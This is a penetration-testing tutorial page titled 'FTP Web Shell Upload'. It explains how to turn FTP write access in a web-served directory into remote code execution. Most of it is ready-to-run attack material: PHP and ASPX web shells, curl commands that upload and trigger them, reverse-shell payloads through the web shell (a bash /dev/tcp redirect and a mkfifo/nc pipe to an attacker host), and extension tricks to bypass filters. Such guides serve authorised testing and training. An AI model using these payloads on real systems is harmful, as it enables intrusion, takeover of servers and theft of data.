Skip to content
HackIndex logo

HackIndex

FTP Web Shell Upload

2 min read Mar 16, 2026

When FTP write access lands in a directory also served by a web server, uploading a web shell and requesting it over HTTP gives remote code execution. This requires two confirmed conditions: write access to the FTP path, and that path being reachable over HTTP. Both are confirmed in FTP Writable Directory Check.

Identify the Web Root Path

The FTP root may be the web root, a subdirectory of it, or unrelated. Determine the relationship before uploading.

Check whether a test file uploaded to FTP is accessible over HTTP:

┌──(kali㉿kali)-[~]
└─$ echo "pathtest" > /tmp/pathtest.txt
┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD -T /tmp/pathtest.txt ftp://$TARGET_IP:$PORT/pathtest.txt
┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP/pathtest.txt

If the response contains pathtest, the FTP root maps directly to the web root. Test subdirectories:

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP/uploads/pathtest.txt
┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP/files/pathtest.txt

Clean up the test file after confirming:

┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD -Q "DELE /pathtest.txt" ftp://$TARGET_IP:$PORT/

PHP Web Shell

For Linux targets running Apache or Nginx with PHP:

┌──(kali㉿kali)-[~]
└─$ echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD -T /tmp/shell.php ftp://$TARGET_IP:$PORT/shell.php

Confirm execution:

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ASPX Web Shell

For Windows targets running IIS:

┌──(kali㉿kali)-[~]
└─$ cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<% Response.Write(new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}.Start().StandardOutput.ReadToEnd()); %>
EOF
┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD -T /tmp/shell.aspx ftp://$TARGET_IP:$PORT/shell.aspx
┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/shell.aspx?cmd=whoami"

Upload to a Subdirectory

If the writable path is a subdirectory such as uploads:

┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD -T /tmp/shell.php ftp://$TARGET_IP:$PORT/uploads/shell.php
┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/uploads/shell.php?cmd=id"

Get a Reverse Shell

Start your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Trigger a reverse shell through the web shell. URL-encode the payload:

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

mkfifo method if the bash redirect is filtered:

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/shell.php" --get --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f"

After catching the shell, stabilise it before proceeding. See Shell Stabilization and TTY Upgrade.

Extension Filtering Bypass

Some web servers only execute PHP files with specific extensions. If shell.php is not executed, try alternate extensions:

shell.php5
shell.php7
shell.phtml
shell.phar

Upload each and request it over HTTP. If the server executes .phtml or .php5 files, the bypass works.

Handling FTP over Interactive Session

If curl fails due to server quirks, use an interactive ftp session:

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP $PORT
binary
put /tmp/shell.php shell.php

The binary command ensures the file is not corrupted by line ending conversion during transfer.

References